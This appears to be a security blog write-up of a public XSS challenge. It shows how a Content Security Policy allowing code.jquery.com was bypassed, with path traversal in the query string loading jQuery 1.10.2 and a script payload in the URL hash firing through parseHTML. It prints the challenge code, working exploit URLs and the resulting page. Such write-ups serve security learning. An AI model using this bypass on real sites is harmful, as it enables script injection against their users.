Address
304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

CSP Bypass via old jQuery – Thanks parseHTML!

I completed a fun CSP bypass recently and wanted to share my solution.

CSP Bypass – Introduction

Itszsn tweeted out a CSP bypass challenge, and I wanted to see if I could solve it.

If you are not familiar with CSP, then I recommend you check out this page.

That said, the tl;dr is that content security policy is an extra layer of defense to protect against attacks like cross-site scripting.

For another good example of a bypass, check out this Portswigger post.

I haven’t run across a lot of situations that I could bypass CSP before, so this was

Vulnerable Application

The vulnerable application was found at http://csp.xss.stackchk.fail/, which would immediately redirect to http://csp.xss.stackchk.fail/?min.#Guest.

CSP Bypass - Challenge

You can find the HTML for the page below, although there is nothing interesting other than the CSP header.

<html>
  <head>
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self' 'unsafe-eval' https://code.jquery.com/; style-src 'self' https://fonts.googleapis.com; font-src https://fonts.googleapis.com">
    <link href="/style.css" rel="stylesheet">
  </head>
  <body>
  <div id="content">
  </div>
  <div>
  <p>
  Your goal is to get XSS on this domain that works in the latest version of one of the major browsers. (This includes bypassing the CSP). Good luck!
  </div>
  <script src="app.js"></script>
  </body>
</html>

The app.js file had the actual injection point, which looked to be the name variable.

function load_script(url) {
    return new Promise(resolve => {
        let s = document.createElement('script');
        s.src = url;
        s.async = true;
        s.onload = resolve;

        document.head.append(s)
    });
}

if (location.search == "") {
  location = "/?min.#Guest";
}

let min = location.search.slice(1);
let url = `https://code.jquery.com/jquery-3.4.1.${min}js`;
load_script(url).then(()=>{
    let name = decodeURIComponent(location.hash.slice(1));
    let content = $(`<h1>Hello ${name}</h1>`);
    $('#content').append(content);
});

CSP Bypass – Exploitation Attempts

First, I modified the URL, to verify that content was changing as expected.

http://csp.xss.stackchk.fail/?min.#Testing

Hello Testing

Next, I tried a basic XSS payload, to see if the CSP would block it.

http://csp.xss.stackchk.fail/?min.#%3Cscript%3Ealert(1)%3C/script%3E

CSP Bypass - Alert attempt

After reading this post, I decided to try an iframe to bypass the policy.

> frame=document.createElement("iframe");
frame.src="/style.css";
document.body.appendChild(frame);

As there was no frame-src in the directive, the default-src policy blocked this.

Refused to frame 'http://csp.xss.stackchk.fail/style.css' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'frame-src' was not explicitly set, so 'default-src' is used as a fallback.

Successful XSS

After looking at the JavaScript file again, I realized that I could import a different file from https://code.jquery.com via the min parameter.

In this case, I was able to import the jQuery 1.10.2 library via directory traversal.

http://csp.xss.stackchk.fail/?/../../jquery-1.10.2.#Testing

CSP Bypass - jQuery

Using this older jQuery library, I bypassed the CSP and got my XSS payload to fire!

http://csp.xss.stackchk.fail/?/../../jquery-1.10.2.#%3Cscript%3Ealert(document.domain)%3C/script%3E

CSP Bypass - Success

You can find the HTML for the exploited page below.

<html><head>
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self' 'unsafe-eval' https://code.jquery.com/; style-src 'self' https://fonts.googleapis.com; font-src https://fonts.googleapis.com">
    <link href="/style.css" rel="stylesheet">
  <script src="https://code.jquery.com/jquery-3.4.1./../../jquery-1.10.2.js" async=""></script></head>
  <body style="">
  <div id="content">
  <h1>Hello <script>alert(document.domain)</script></h1></div>
  <div>
  <p>
  Your goal is to get XSS on this domain that works in the latest version of one of the major browsers. (This includes bypassing the CSP). Good luck!
  </p></div>
  <script src="app.js"></script>
</body></html>

The reason for this bypass was the parseHTML method of the older jQuery library. For more information, you can check out the following issues.

As you can see, the alert made it to the vulnerable parseHTML method, bypassing the CSP.

CSP Bypass - parseHTML

CSP Bypass – Conclusion

This was a fun challenge, and I was surprised when I solved it so quickly.

I haven’t had a case where I could exploit the parseHTML method before, so it was good to see it in action.

While I did not use it during this challenge, I thought about the older library because of Retire.js.

Let me know if you run across any other XSS challenges or filters that I should look at!

I also have a post coming for the most recent Intigriti XSS challenge, so stay tuned for that as well.

3 Comments

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.